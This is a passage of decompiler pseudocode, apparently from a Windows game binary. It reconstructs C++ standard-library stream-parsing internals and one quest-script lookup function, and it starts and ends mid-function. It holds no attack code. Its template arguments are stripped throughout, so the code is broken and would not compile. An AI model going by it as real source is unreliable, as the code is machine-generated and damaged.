< 0; } if ( v11 ^ v12 ) { LABEL_17: v3 = v3->_Right; goto LABEL_19; } _Wherenode = v3; v3 = v3->_Left; LABEL_19: if ( v3->_Isnil ) return _Wherenode; } } return result; } //----- (005706E0) -------------------------------------------------------- std::num_get > > *__cdecl std::use_facet>>>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@9 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>>>::_Psave; v9 = 0; _Psave = std::_Facetptr>>>::_Psave; if ( !std::num_get>>::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::num_get>>::id ) { ++std::locale::id::_Id_cnt; std::num_get>>::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::num_get>>::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::num_get>>::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>>>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::num_get > > *)v2; } // 146CFF5C: using guessed type int std___Facetptr_std__num_get_char_std__istreambuf_iterator_char_std__char_traits_char_______Psave; // 146CFFE0: using guessed type int std__locale__id___Id_cnt; //----- (005707F0) -------------------------------------------------------- std::basic_istream > *__thiscall std::basic_istream>::operator>>(std::basic_istream > *this, int *_Val) { std::basic_istream > *v2; // esi@1 int v3; // ecx@2 std::locale *v4; // eax@2 void *v5; // eax@2 std::locale v6; // edi@2 void *v7; // ebx@2 unsigned int v8; // eax@3 int v9; // edi@6 int v10; // edx@8 int v11; // ecx@8 int v12; // eax@8 int v13; // edx@8 int v14; // edx@8 int v15; // ecx@14 int v16; // eax@15 int v17; // eax@18 int v19; // [sp-Ch] [bp-48h]@1 char v20; // [sp+0h] [bp-3Ch]@8 int v21; // [sp+4h] [bp-38h]@8 std::basic_istream >::sentry _Ok; // [sp+8h] [bp-34h]@1 void *_Nget_fac; // [sp+10h] [bp-2Ch]@2 std::_Lockit thisa; // [sp+18h] [bp-24h]@3 std::locale result; // [sp+1Ch] [bp-20h]@2 int _Tmp; // [sp+20h] [bp-1Ch]@2 std::basic_istream > *v27; // [sp+24h] [bp-18h]@1 int _State; // [sp+28h] [bp-14h]@1 int *v29; // [sp+2Ch] [bp-10h]@1 int v30; // [sp+38h] [bp-4h]@1 v29 = &v19; v2 = this; v27 = this; _State = 0; std::basic_istream>::sentry::sentry(&_Ok, this, 0); v30 = 0; if ( _Ok._Ok ) { v3 = *(_DWORD *)&v2->gap0[0]; _Tmp = 0; v4 = std::ios_base::getloc((std::ios_base *)((char *)v2 + *(_DWORD *)(v3 + 4)), &result); LOBYTE(v30) = 1; v5 = std::use_facet>>>(v4); v6 = result; v7 = v5; _Nget_fac = v5; LOBYTE(v30) = 0; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v8 = *(_DWORD *)(*(_DWORD *)&v6 + 4); if ( v8 && v8 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v6 + 4) = v8 - 1; v9 = ((*(_DWORD *)(*(_DWORD *)&v6 + 4) != 0) - 1) & *(_DWORD *)&v6; std::_Lockit::__Lockit(&thisa); if ( v9 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v9)(v9, 1); } v10 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); v11 = *(_DWORD *)&v2->gap8[v10 + 32]; v12 = (int)((char *)v2 + v10); LOBYTE(v21) = v11 == 0; v13 = *(_DWORD *)v7; LOBYTE(thisa._Locktype) = 1; LOBYTE(v30) = 2; (*(void (__thiscall **)(void *, char *, int, int, _DWORD, int, int, int *, int *))(v13 + 32))( _Nget_fac, &v20, v11, v21, 0, thisa._Locktype, v12, &_State, &_Tmp); v14 = _State; v30 = 0; if ( _State & 2 || _Tmp < -2147483648 || _Tmp > 2147483647 ) { v14 = _State | 2; _State |= 2u; } else { *_Val = _Tmp; } } else { v14 = _State; } v15 = (int)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4)); if ( v14 ) { v16 = v14 | *(_DWORD *)(v15 + 8); if ( !*(_DWORD *)(v15 + 40) ) v16 |= 4u; std::ios_base::clear((std::ios_base *)v15, v16, 0); } v17 = *(_DWORD *)&_Ok.baseclass_0._Myistr->gap8[*(_DWORD *)(*(_DWORD *)&_Ok.baseclass_0._Myistr->gap0[0] + 4) + 32]; v30 = -1; if ( v17 ) std::_Mutex::_Unlock((std::_Mutex *)(v17 + 4)); return v2; } //----- (005709A0) -------------------------------------------------------- std::basic_istream > *__cdecl std::operator>>_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str) { int v2; // ebx@1 std::locale *v3; // eax@2 void *v4; // eax@2 std::locale v5; // edi@2 unsigned int v6; // eax@3 int v7; // edi@6 int v8; // edx@8 unsigned int v9; // eax@8 signed int v10; // edi@9 int v11; // ecx@11 int *v12; // eax@11 int v13; // eax@13 std::basic_streambuf > *v14; // ecx@19 char *v15; // ecx@22 int v16; // eax@23 int v17; // eax@26 int v19; // [sp-Ch] [bp-38h]@1 std::basic_istream >::sentry _Ok; // [sp+0h] [bp-2Ch]@1 void *_Ctype_fac; // [sp+8h] [bp-24h]@2 std::_Lockit this; // [sp+Ch] [bp-20h]@3 std::locale result; // [sp+10h] [bp-1Ch]@2 int _State; // [sp+14h] [bp-18h]@1 char _Changed; // [sp+1Bh] [bp-11h]@1 int *v26; // [sp+1Ch] [bp-10h]@1 int v27; // [sp+28h] [bp-4h]@1 v2 = 0; v26 = &v19; _State = 0; _Changed = 0; std::basic_istream>::sentry::sentry(&_Ok, _Istr, 0); v27 = 0; if ( _Ok._Ok ) { v3 = std::ios_base::getloc((std::ios_base *)((char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4)), &result); LOBYTE(v27) = 1; v4 = std::use_facet>(v3); v5 = result; _Ctype_fac = v4; LOBYTE(v27) = 0; if ( result ) { std::_Lockit::_Lockit(&this, 0); v6 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( v6 && v6 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v6 - 1; v7 = ((*(_DWORD *)(*(_DWORD *)&v5 + 4) != 0) - 1) & *(_DWORD *)&v5; std::_Lockit::__Lockit(&this); if ( v7 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v7)(v7, 1); } std::basic_string_std::allocator>::erase(_Str, 0, 0xFFFFFFFFu); v8 = *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); v9 = *(_DWORD *)&_Istr->gap8[v8 + 16]; LOBYTE(v27) = 2; if ( (signed int)v9 <= 0 || (v10 = v9, v9 >= 0xFFFFFFFE) ) v10 = -2; v11 = *(_DWORD *)&_Istr->gap8[v8 + 32]; v12 = (int *)**(_DWORD **)(v11 + 32); if ( v12 && (v2 = _State, **(_DWORD **)(v11 + 32) < (unsigned int)(**(_DWORD **)(v11 + 32) + **(_DWORD **)(v11 + 48))) ) v13 = *(_BYTE *)v12; else v13 = (*(int (**)(void))(*(_DWORD *)v11 + 16))(); while ( v10 ) { if ( v13 == -1 ) { v2 |= 1u; break; } if ( *(_BYTE *)(*((_DWORD *)_Ctype_fac + 4) + 2 * (unsigned __int8)v13) & 0x48 ) break; std::basic_string_std::allocator>::append(_Str, 1u, v13); v14 = *(std::basic_streambuf > **)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; _Changed = 1; --v10; v13 = std::basic_streambuf>::snextc(v14); } } *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 16] = 0; v27 = 0; if ( !_Changed ) v2 |= 2u; v15 = (char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); if ( v2 ) { v16 = v2 | *((_DWORD *)v15 + 2); if ( !*((_DWORD *)v15 + 10) ) v16 |= 4u; std::ios_base::clear((std::ios_base *)v15, v16, 0); } v17 = *(_DWORD *)&_Ok.baseclass_0._Myistr->gap8[*(_DWORD *)(*(_DWORD *)&_Ok.baseclass_0._Myistr->gap0[0] + 4) + 32]; v27 = -1; if ( v17 ) std::_Mutex::_Unlock((std::_Mutex *)(v17 + 4)); return _Istr; } //----- (00570B80) -------------------------------------------------------- std::basic_istream > *__cdecl std::getline_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str, const char _Delim) { int v3; // ebx@1 int v4; // ecx@2 int **v5; // edx@2 int v6; // eax@4 int v7; // ecx@9 int v8; // eax@9 bool v9; // zf@9 std::basic_streambuf > *v10; // ecx@15 char *v11; // ecx@18 int v12; // eax@19 int v13; // eax@22 int v15; // [sp-Ch] [bp-2Ch]@1 std::basic_istream >::sentry _Ok; // [sp+0h] [bp-20h]@1 int _State; // [sp+8h] [bp-18h]@1 char _Changed; // [sp+Fh] [bp-11h]@1 int *v19; // [sp+10h] [bp-10h]@1 int v20; // [sp+1Ch] [bp-4h]@1 v19 = &v15; v3 = 0; _State = 0; _Changed = 0; std::basic_istream>::sentry::sentry(&_Ok, _Istr, 1); v20 = 0; if ( _Ok._Ok ) { LOBYTE(v20) = 1; std::basic_string_std::allocator>::erase(_Str, 0, 0xFFFFFFFFu); v4 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; v5 = *(int ***)(v4 + 32); if ( *v5 && (v3 = _State, *v5 < (int *)((char *)*v5 + **(_DWORD **)(v4 + 48))) ) v6 = *(_BYTE *)*v5; else v6 = (*(int (**)(void))(*(_DWORD *)v4 + 16))(); while ( 1 ) { if ( v6 == -1 ) { v3 |= 1u; goto LABEL_16; } if ( v6 == _Delim ) break; if ( _Str->_Mysize >= 0xFFFFFFFE ) { v3 |= 2u; goto LABEL_16; } std::basic_string_std::allocator>::append(_Str, 1u, v6); v10 = *(std::basic_streambuf > **)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; _Changed = 1; v6 = std::basic_streambuf>::snextc(v10); } v7 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; v8 = *(_DWORD *)(v7 + 32); v9 = *(_DWORD *)v8 == 0; _Changed = 1; if ( v9 || *(_DWORD *)v8 >= (unsigned int)(*(_DWORD *)v8 + **(_DWORD **)(v7 + 48)) ) { (*(void (**)(void))(*(_DWORD *)v7 + 20))(); } else { --**(_DWORD **)(v7 + 48); ++**(_DWORD **)(v7 + 32); } } LABEL_16: v20 = 0; if ( !_Changed ) v3 |= 2u; v11 = (char *)_Istr + *(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4); if ( v3 ) { v12 = v3 | *((_DWORD *)v11 + 2); if ( !*((_DWORD *)v11 + 10) ) v12 |= 4u; std::ios_base::clear((std::ios_base *)v11, v12, 0); } v13 = *(_DWORD *)&_Ok.baseclass_0._Myistr->gap8[*(_DWORD *)(*(_DWORD *)&_Ok.baseclass_0._Myistr->gap0[0] + 4) + 32]; v20 = -1; if ( v13 ) std::_Mutex::_Unlock((std::_Mutex *)(v13 + 4)); return _Istr; } //----- (00570D10) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find(...) { std::basic_string,std::allocator > *v3; // edi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v4; // esi@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v8; // eax@6 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st _Keyvala; // [sp+Ch] [bp+8h]@1 v3 = _Keyval; v4 = this; v5 = std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound( this, _Keyval); _Keyvala = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)v5; if ( v5 == *((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v5->_Myval.first._Myres < 0x10) ? (v7 = (const char *)&v5->_Myval.first._Bx) : (v7 = *(const char **)&v5->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare(v3, 0, v3->_Mysize, v7, v6) < 0) ) { v8 = result; *result = *((_DWORD *)v4 + 1); } else { v8 = result; *result = _Keyvala; } return v8; } //----- (00570D80) -------------------------------------------------------- bool __cdecl CQuestParserScript::GetIDbyIndex(std::basic_string,std::allocator > *rstrIndexName, int *rnID) { int v2; // ecx@0 bool result; // al@2 int find_iter; // [sp+0h] [bp-4h]@1 find_iter = v2; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find( &CQuestParserScript::m_MapConvertIndexNames, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&find_iter, rstrIndexName); if ( find_iter == dword_146CFF68 ) { result = 0; } else { *rnID = *(_DWORD *)(find_iter + 40); result = 1; } return result; } // 146CFF68: using guessed type int dword_146CFF68; //----- (00570DC0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, bool *_Val) { std::ios_base *v7; // esi@1 int v8; // eax@1 int v9; // ebp@1 std::num_get > > *v10; // edi@1 std::locale *v11; // eax@2 std::numpunct *v12; // eax@2 std::ios_base *v13; // esi@2 std::numpunct *v14; // edi@2 unsigned int v15; // eax@3 int v16; // esi@6 std::basic_string,std::allocator > *v17; // eax@8 std::basic_string,std::allocator > *v18; // eax@10 const char *v19; // eax@12 std::locale *v20; // eax@16 int v21; // ST1C_4@16 int v22; // eax@16 unsigned int v23; // eax@16 int v24; // esi@16 unsigned int v25; // edi@16 unsigned int v26; // eax@17 int v27; // esi@20 bool v28; // zf@26 int *v29; // eax@26 int v30; // edx@31 std::istreambuf_iterator > *v31; // eax@31 char v32; // [sp+0h] [bp-5Ch]@17 void *_Ep; // [sp+4h] [bp-58h]@16 int v34; // [sp+8h] [bp-54h]@16 std::_Lockit thisa; // [sp+Ch] [bp-50h]@3 std::basic_string,std::allocator > _Str; // [sp+10h] [bp-4Ch]@8 char _Ac[32]; // [sp+2Ch] [bp-30h]@8 unsigned int v38; // [sp+4Ch] [bp-10h]@31 int v39; // [sp+58h] [bp-4h]@2 v7 = _Iosbase; v8 = _Iosbase->_Fmtfl; v9 = -1; v10 = this; if ( BYTE1(v8) & 0x40 ) { v11 = std::ios_base::getloc(_Iosbase, (std::locale *)&_Iosbase); v12 = std::use_facet>(v11); v13 = _Iosbase; v14 = v12; v39 = -1; if ( _Iosbase ) { std::_Lockit::_Lockit(&thisa, 0); v15 = *(_DWORD *)&v13->___u1.baseclass_4.dummy[0]; if ( v15 && v15 < 0xFFFFFFFF ) *(_DWORD *)&v13->___u1.baseclass_4.dummy[0] = v15 - 1; v16 = ((*(_DWORD *)&v13->___u1.baseclass_4.dummy[0] != 0) - 1) & (unsigned int)v13; std::_Lockit::__Lockit(&thisa); if ( v16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v16)(v16, 1); } _Str._Myres = 15; *(_WORD *)&_Str._Bx._Buf[0] = 0; _Str._Mysize = 1; v39 = 1; v17 = std::numpunct::falsename( v14, (std::basic_string,std::allocator > *)_Ac); LOBYTE(v39) = 2; std::basic_string_std::allocator>::append(&_Str, v17, 0, 0xFFFFFFFFu); LOBYTE(v39) = 1; if ( *(_DWORD *)&_Ac[24] >= 0x10u ) operator delete(*(void **)&_Ac[4]); std::basic_string_std::allocator>::append(&_Str, 1u, 0); v18 = std::numpunct::truename( v14, (std::basic_string,std::allocator > *)_Ac); LOBYTE(v39) = 3; std::basic_string_std::allocator>::append(&_Str, v18, 0, 0xFFFFFFFFu); LOBYTE(v39) = 1; if ( *(_DWORD *)&_Ac[24] >= 0x10u ) operator delete(*(void **)&_Ac[4]); v19 = *(const char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v19 = (const char *)&_Str._Bx; v9 = std::_Getloctxt>>(&_First, &_Last, 2u, v19); v39 = -1; if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); } else { *_errno() = 0; v20 = std::ios_base::getloc(v7, (std::locale *)&v34); v21 = v7->_Fmtfl; v39 = 4; v22 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, v21, v20); v23 = strtoul(_Ac, (char **)&_Ep, v22); v24 = v34; v25 = v23; v39 = -1; if ( v34 ) { std::_Lockit::_Lockit((std::_Lockit *)&v32, 0); v26 = *(_DWORD *)(v24 + 4); if ( v26 && v26 < 0xFFFFFFFF ) *(_DWORD *)(v24 + 4) = v26 - 1; v27 = ((*(_DWORD *)(v24 + 4) != 0) - 1) & v24; std::_Lockit::__Lockit((std::_Lockit *)&v32); if ( v27 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v27)(v27, 1); } if ( _Ep != _Ac && !*_errno() && v25 <= 1 ) v9 = v25; } v28 = std::istreambuf_iterator>::equal(&_First, &_Last) == 0; v29 = _State; if ( !v28 ) *_State |= 1u; if ( v9 >= 0 ) *_Val = v9 != 0; else *v29 |= 2u; v30 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v30; __security_check_cookie(v38); return v31; } //----- (00571090) -------------------------------------------------------- bool __thiscall std::istreambuf_iterator>::equal(std::istreambuf_iterator > *this, std::istreambuf_iterator > *_Right) { std::istreambuf_iterator > *v2; // edi@1 int v3; // eax@5 v2 = this; if ( !this->_Got ) std::istreambuf_iterator>::_Peek(this); if ( !_Right->_Got ) std::istreambuf_iterator>::_Peek(_Right); v3 = *(_DWORD *)&_Right->___u0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v2->___u0.baseclass_0.dummy[0] ) { if ( !v3 ) return 0; } else { if ( v3 ) return 0; } return 1; } //----- (005710E0) -------------------------------------------------------- char __thiscall std::istreambuf_iterator>::_Peek(std::istreambuf_iterator > *this) { std::istreambuf_iterator > *v1; // esi@1 int v2; // ecx@1 int *v3; // eax@2 int v4; // eax@4 v1 = this; v2 = *(_DWORD *)&this->___u0.baseclass_0.dummy[0]; if ( v2 && ((v3 = (int *)**(_DWORD **)(v2 + 32)) == 0 || **(_DWORD **)(v2 + 32) >= (unsigned int)(**(_DWORD **)(v2 + 32) + **(_DWORD **)(v2 + 48)) ? (v4 = (*(int (**)(void))(*(_DWORD *)v2 + 16))()) : (v4 = *(_BYTE *)v3), v4 != -1) ) { v1->_Val = v4; v1->_Got = 1; } else { LOBYTE(v4) = v1->_Val; *(_DWORD *)&v1->___u0.baseclass_0.dummy[0] = 0; v1->_Got = 1; } return v4; } //----- (00571130) -------------------------------------------------------- int __cdecl std::num_get>>::_Getifld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, int _Basefield, std::locale *_Loc) { std::numpunct *v6; // esi@1 std::locale::facetVtbl *v7; // edx@1 char *v8; // ebp@1 int v9; // eax@11 int v10; // edi@12 char v11; // bl@16 int v12; // edi@36 char v13; // al@39 char *v14; // eax@44 char *v15; // ecx@44 unsigned int v16; // ebp@50 void *v17; // ebx@50 char *v18; // eax@50 char *v19; // eax@61 char *v20; // edx@67 char v21; // cl@71 char *v22; // eax@73 char *v23; // eax@77 char *v24; // eax@82 int result; // eax@89 char _Nonzero; // [sp+0h] [bp-56h]@16 char _Kseparator; // [sp+1h] [bp-55h]@1 char *_Ptr; // [sp+6h] [bp-50h]@1 size_t _Dlen; // [sp+Ah] [bp-4Ch]@34 std::basic_string,std::allocator > _Groups; // [sp+Eh] [bp-48h]@36 std::basic_string,std::allocator > _Grouping; // [sp+2Ah] [bp-2Ch]@1 unsigned int cookie; // [sp+46h] [bp-10h]@89 int v33; // [sp+52h] [bp-4h]@1 char _Basefielda; // [sp+6Ah] [bp+14h]@16 v6 = std::use_facet>(_Loc); std::numpunct::grouping(v6, &_Grouping); v7 = v6->baseclass_0.vfptr; v33 = 0; v8 = _Ac; _Kseparator = ((int (__thiscall *)(std::numpunct *))v7[2].__vecDelDtor)(v6); _Ptr = _Ac; if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *_Ac = 43; LABEL_10: v8 = _Ac + 1; _Ptr = _Ac + 1; std::istreambuf_iterator>::_Inc(_First); goto LABEL_11; } if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 45 ) { *_Ac = 45; goto LABEL_10; } } LABEL_11: v9 = _Basefield & 0xE00; if ( v9 == 1024 ) { v10 = 8; } else { if ( v9 == 2048 ) v10 = 16; else v10 = v9 != 0 ? 0xA : 0; } v11 = 0; _Basefielda = 0; _Nonzero = 0; if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_92; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) { LABEL_92: if ( !v10 ) goto LABEL_35; } else { v11 = 1; _Basefielda = 1; std::istreambuf_iterator>::_Inc(_First); if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 120 ) goto LABEL_93; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 88 ) { LABEL_93: if ( !v10 || v10 == 16 ) { v11 = 0; v10 = 16; _Basefielda = 0; std::istreambuf_iterator>::_Inc(_First); LABEL_34: _Dlen = (((v10 != 8) - 1) & 0xFFFFFFF2) + 22; goto LABEL_36; } } } if ( !v10 ) { v10 = 8; goto LABEL_34; } } if ( v10 != 10 ) goto LABEL_34; LABEL_35: _Dlen = 10; LABEL_36: _Groups._Myres = 15; *(_WORD *)&_Groups._Bx._Buf[0] = (unsigned __int8)v11; _Groups._Mysize = 1; LOBYTE(v33) = 1; v12 = 0; if ( std::istreambuf_iterator>::equal(_First, _Last) ) { v17 = *(void **)&_Groups._Bx._Buf[0]; v16 = _Groups._Myres; } else { do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); v13 = _First->_Val; *v8 = v13; if ( memchr("0123456789abcdefABCDEF", v13, _Dlen) ) { if ( (_Nonzero || *v8 != 48) && v8 < _Ac + 31 ) { ++v8; _Ptr = v8; _Nonzero = 1; } v14 = *(char **)&_Groups._Bx._Buf[0]; _Basefielda = 1; v15 = *(char **)&_Groups._Bx._Buf[0]; if ( _Groups._Myres < 0x10 ) v15 = (char *)&_Groups._Bx; if ( v15[v12] != 127 ) { if ( _Groups._Myres < 0x10 ) v14 = (char *)&_Groups._Bx; ++v14[v12]; } } else { v16 = _Groups._Myres; v17 = *(void **)&_Groups._Bx._Buf[0]; v18 = *(char **)&_Groups._Bx._Buf[0]; if ( _Groups._Myres < 0x10 ) v18 = (char *)&_Groups._Bx; if ( !v18[v12] || !_Kseparator ) goto LABEL_60; if ( !_First->_Got ) { std::istreambuf_iterator>::_Peek(_First); v17 = *(void **)&_Groups._Bx._Buf[0]; v16 = _Groups._Myres; } if ( _First->_Val != _Kseparator ) goto LABEL_60; std::basic_string_std::allocator>::append(&_Groups, 1u, 0); v8 = _Ptr; ++v12; } std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Last) ); v17 = *(void **)&_Groups._Bx._Buf[0]; v16 = _Groups._Myres; LABEL_60: if ( v12 ) { v19 = (char *)v17; if ( v16 < 0x10 ) v19 = (char *)&_Groups._Bx; if ( v19[v12] <= 0 ) _Basefielda = 0; else ++v12; } } v20 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v20 = (char *)&_Grouping._Bx; if ( _Basefielda ) { while ( v12 ) { v21 = *v20; if ( *v20 == 127 ) break; --v12; if ( v12 ) { v22 = (char *)v17; if ( v16 < 0x10 ) v22 = (char *)&_Groups._Bx; if ( v21 != v22[v12] ) goto LABEL_84; } if ( !v12 ) { v23 = (char *)v17; if ( v16 < 0x10 ) v23 = (char *)&_Groups._Bx; if ( v21 < *v23 ) goto LABEL_84; } if ( v20[1] > 0 ) ++v20; } v24 = _Ptr; if ( !_Nonzero ) { *_Ptr = 48; v24 = _Ptr + 1; } } else { LABEL_84: v24 = _Ac; } *v24 = 0; if ( v16 >= 0x10 ) operator delete(v17); _Groups._Myres = 15; _Groups._Mysize = 0; _Groups._Bx._Buf[0] = 0; if ( _Grouping._Myres >= 0x10 ) operator delete(*(void **)&_Grouping._Bx._Buf[0]); __security_check_cookie(cookie); return result; } //----- (00571510) -------------------------------------------------------- void __thiscall std::istreambuf_iterator>::_Inc(std::istreambuf_iterator > *this) { std::istreambuf_iterator > *v1; // esi@1 int v2; // ecx@1 int v3; // eax@2 int **v4; // ecx@4 int *v5; // eax@4 int v6; // eax@4 v1 = this; v2 = *(_DWORD *)&this->___u0.baseclass_0.dummy[0]; if ( v2 && ((v3 = *(_DWORD *)(v2 + 32), !*(_DWORD *)v3) || *(_DWORD *)v3 >= (unsigned int)(*(_DWORD *)v3 + **(_DWORD **)(v2 + 48)) ? (v6 = (*(int (**)(void))(*(_DWORD *)v2 + 20))()) : (--**(_DWORD **)(v2 + 48), v4 = *(int ***)(v2 + 32), v5 = *v4, *v4 = (int *)((char *)*v4 + 1), v6 = *(_BYTE *)v5), v6 != -1) ) { v1->_Got = 0; } else { *(_DWORD *)&v1->___u0.baseclass_0.dummy[0] = 0; v1->_Got = 1; } } //----- (00571560) -------------------------------------------------------- int __cdecl std::_Getloctxt>>(std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, unsigned int _Numfields, const char *_Ptr) { const char *v4; // ebp@1 const char v5; // al@2 const char *v6; // ecx@2 signed int v7; // ebx@6 int v8; // esi@7 unsigned int v9; // edi@7 const char i; // al@8 char *v11; // eax@11 char *v12; // eax@14 const char v13; // al@17 std::istreambuf_iterator > *v14; // ecx@20 char v15; // al@24 char *v16; // ecx@26 char v17; // cl@29 char *v18; // eax@31 int result; // eax@40 std::basic_string,std::allocator > _Str; // [sp+4h] [bp-2Ch]@6 unsigned int cookie; // [sp+20h] [bp-10h]@40 int v22; // [sp+2Ch] [bp-4h]@6 char _Ptra; // [sp+40h] [bp+10h]@7 v4 = _Ptr; if ( *_Ptr ) { v5 = *_Ptr; v6 = _Ptr; do { if ( v5 == *_Ptr ) ++_Numfields; v5 = (v6++)[1]; } while ( v5 ); } _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&_Str, _Numfields, 0); v22 = 0; v7 = 1; while ( 1 ) { v8 = 0; v9 = 0; _Ptra = 0; if ( !_Numfields ) break; do { for ( i = v4[v8]; i; i = v4[v8++ + 1] ) { if ( i == *v4 ) break; } v11 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v11 = (char *)&_Str._Bx; if ( v11[v9] ) { v12 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v12 = (char *)&_Str._Bx; v8 += v12[v9]; } else { v8 += v7; v13 = v4[v8]; if ( v13 != *v4 && v13 ) { if ( std::istreambuf_iterator>::equal(_First, _Last) ) goto LABEL_43; v14 = _First; if ( !_First->_Got ) { std::istreambuf_iterator>::_Peek(_First); v14 = _First; } if ( v4[v8] != v14->_Val ) { LABEL_43: v15 = v7; if ( (unsigned int)v7 >= 0x7F ) v15 = 127; v16 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v16 = (char *)&_Str._Bx; v16[v9] = v15; } else { _Ptra = 1; } } else { v17 = v7; if ( (unsigned int)v7 >= 0x7F ) v17 = 127; v18 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v18 = (char *)&_Str._Bx; v18[v9] = v17; } } ++v9; } while ( v9 < _Numfields ); if ( !_Ptra || std::istreambuf_iterator>::equal(_First, _Last) ) break; ++v7; std::istreambuf_iterator>::_Inc(_First); } if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); __security_check_cookie(cookie); return result; } //----- (00571740) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int16 *_Val) { std::num_get > > *v7; // esi@1 int *v8; // eax@1 std::ios_base *v9; // edi@1 std::locale *v10; // eax@1 int v11; // edi@1 int v12; // eax@1 std::ios_base *v13; // esi@1 int v14; // ebp@1 unsigned int v15; // eax@2 int v16; // esi@5 const char *v17; // edi@7 unsigned int v18; // esi@9 bool v19; // al@9 int *v20; // 